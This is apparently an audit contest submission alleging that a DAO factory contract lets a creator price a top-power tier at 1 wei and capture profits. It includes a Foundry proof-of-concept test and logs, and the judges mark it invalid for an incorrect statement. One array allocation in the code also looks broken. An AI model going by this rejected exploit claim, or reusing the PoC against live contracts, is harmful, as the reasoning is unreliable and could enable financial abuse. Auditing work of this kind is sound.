Project

One World
NFTDeFi
15,000 USDC
View results
Submission Details
Severity: high
Invalid

Vulnerability in DAO Creation Allows Tier Manipulation for Reward Honeypot

Summary

The MembershipFactory contract allows the creation of decentralized autonomous organizations (DAOs) with tiered membership structures using ERC1155 tokens. However, it contains a vulnerability in its createNewDAOMembership function that could allow a malicious actor to configure a DAO in a way that unfairly captures profits intended for other members. By strategically setting tier prices, a bad actor can economically dominate profit distribution mechanisms within a DAO, effectively creating a honeypot scenario.

Vulnerability Details

The vulnerability exists because the createNewDAOMembership allows any user to create a DAO with arbitrary tier configurations, including setting the price and power level for each tier. The ERC1155 tier structure uses power levels to determine profit shares, with each tier having a distinct weight. In this setup, the power of a tier is directly tied to profit distribution, where tier 0 has the highest weight.

A malicious user can:

  • Configure the DAO with 7 tiers, setting tier 0 to have the highest possible power (64) and the smallest possible price (1 wei).

  • Rapidly purchase all available slots in this tier, exploiting the low price to effectively capture the maximum share of all future profits with minimal initial investment.

  • As a consequence, all incoming profits sent to the DAO are overwhelmingly directed to the bad actor due to tier 0's disproportionate share of rewards.

Impact

The primary impact of this vulnerability is financial:

  • For New Members: Genuine participants entering the DAO post-creation may find their investments in higher tiers yielding negligible returns, resulting in a significant imbalance of expected versus actual rewards.

  • For the Platform: The business model may be compromised if fees from transactions (intended as a percentage of tier prices) are rounded down to zero during low-value transactions, as demonstrated in this setup.

POC

  1. Contract Setup:

    • A CurrencyManager contract is deployed to manage accepted currencies.

    • A MembershipERC1155 contract is deployed and used as the implementation for membership tokens.

    • A MembershipFactory contract is instantiated, managing the creation of DAOs.

  2. DAO Configuration:

    • A DAO, named testdao.eth, is initialized with seven tiers. Tier 0 is configured with a high power rating of 64 and an extremely low price of 1 wei, while the subsequent tiers are configured with decreasing power ratings and increasing prices.

  3. Attack Execution:

    • The attacker mints sufficient tokens to fully purchase all available slots in tier 0, costing a negligible amount due to the low price setting.

    • The attacker's address subsequently holds 500 tokens in the most powerful tier, achieving a higher "influence" over profit distributions.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.22;
import "forge-std/Test.sol";
import "../contracts/dao/MembershipFactory.sol";
import "../contracts/dao/CurrencyManager.sol";
import "../contracts/dao/tokens/MembershipERC1155.sol";
import "../contracts/shared/testERC20.sol";
import "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "@openzeppelin/contracts/token/ERC1155/utils/ERC1155Holder.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
contract SetupTest is Test {
MembershipFactory public membershipFactory;
CurrencyManager public currencyManager;
MembershipERC1155 public membershipERC1155;
OWPERC20 public owpERC20;
address private owner = address(0xABCD);
address private currencyManagerAddress = address(0x1234);
string private baseUri = "https://example.com/metadata/";
address private owpWalletAddress = address(0x9012);
function setUp() public {
currencyManager = new CurrencyManager();
membershipERC1155 = new MembershipERC1155();
address membershipImplementation = address(membershipERC1155);
membershipFactory = new MembershipFactory(
address(currencyManager),
owpWalletAddress,
baseUri,
membershipImplementation
);
// Deploy the OWPERC20 contract
owpERC20 = new OWPERC20("OWP Token", "OWP");
// Add the OWPERC20 token to the CurrencyManager as a whitelisted currency
currencyManager.addCurrency(address(owpERC20));
}
function testDAOHoneyPot() public {
DAOInputConfig memory daoConfig = DAOInputConfig({
ensname: "testdao.eth",
daoType: DAOType.PUBLIC,
currency: address(owpERC20),
maxMembers: 1100,
noOfTiers: 7
});
TierConfig[] memory tierConfigs = new TierConfig[]();
tierConfigs[0] = TierConfig({amount: 500, price: 1, power: 64, minted: 0}); // Attack
tierConfigs[1] = TierConfig({amount: 100, price: 32 ether, power: 32, minted: 0});
tierConfigs[2] = TierConfig({amount: 100, price: 16 ether, power: 16, minted: 0});
tierConfigs[3] = TierConfig({amount: 100, price: 8 ether, power: 8, minted: 0});
tierConfigs[4] = TierConfig({amount: 100, price: 4 ether, power: 4, minted: 0});
tierConfigs[5] = TierConfig({amount: 100, price: 2 ether, power: 2, minted: 0});
tierConfigs[6] = TierConfig({amount: 100, price: 1 ether, power: 1, minted: 0});
address newDAOMembershipAddress = membershipFactory.createNewDAOMembership(daoConfig, tierConfigs);
owpERC20.mint(address(this), 1000 ether);
owpERC20.approve(address(membershipFactory), 1000 ether);
console.log("Simulating joining DAO with address:", newDAOMembershipAddress);
// Attack
for (uint256 index = 0; index < 500; index++) {
membershipFactory.joinDAO(newDAOMembershipAddress, 0);
}
MembershipERC1155 newDAOMembership = MembershipERC1155(newDAOMembershipAddress);
uint256 totalSupplyAfterJoin = newDAOMembership.totalSupply();
TierConfig[] memory updatedTiers = membershipFactory.tiers(newDAOMembershipAddress);
console.log("Tier 0 minted amount after join:", updatedTiers[0].minted);
string memory name = newDAOMembership.name();
string memory symbol = newDAOMembership.symbol();
address creatorAddress = newDAOMembership.creator();
address currencyAddress = newDAOMembership.currency();
uint256 totalSupply = newDAOMembership.totalSupply();
uint256 totalProfit = newDAOMembership.totalProfit();
console.log("DAO Membership token Balance:", owpERC20.balanceOf(address(newDAOMembership)) );
console.log("Total Supply:", totalSupply);
console.log("Total Profit:", totalProfit);
}
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
) external pure returns (bytes4) {
return IERC1155Receiver.onERC1155Received.selector;
}
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
) external pure returns (bytes4) {
return IERC1155Receiver.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 interfaceId) public view virtual returns (bool) {
return interfaceId == type(IERC1155Receiver).interfaceId ;
}
}

LOGS

Logs:
Simulating joining DAO with address: 0xCB6f5076b5bbae81D7643BfBf57897E8E3FB1db9
Tier 0 minted amount after join: 500
DAO Membership token Balance: 500
Total Supply: 32000
Total Profit: 0
  • Tier 0 minted amount after join: Confirms that all 500 available slots in tier 0 have been purchased by the attacker.

  • DAO Membership token Balance: Shows the balance of the DAO contract in terms of ERC20 tokens, reflecting successful payment for tier memberships (though minimal).

  • Total Supply: Indicates the cumulative power weighting across all tiers—achieving an inflated level due to the attacker’s actions.

Tools Used

Foundry

Recommendations

Implement a minimum threshold for tier prices to prevent the creation of tiers that can be purchased at negligible cost. This threshold would ensure a baseline cost to deter such exploitative behavior.

Updates

Lead Judging Commences

0xbrivan2 Lead Judge
10 months ago
0xbrivan2 Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

galturok Submitter
10 months ago
galturok Submitter
10 months ago
0xbrivan2 Lead Judge
10 months ago
0xbrivan2 Lead Judge 10 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.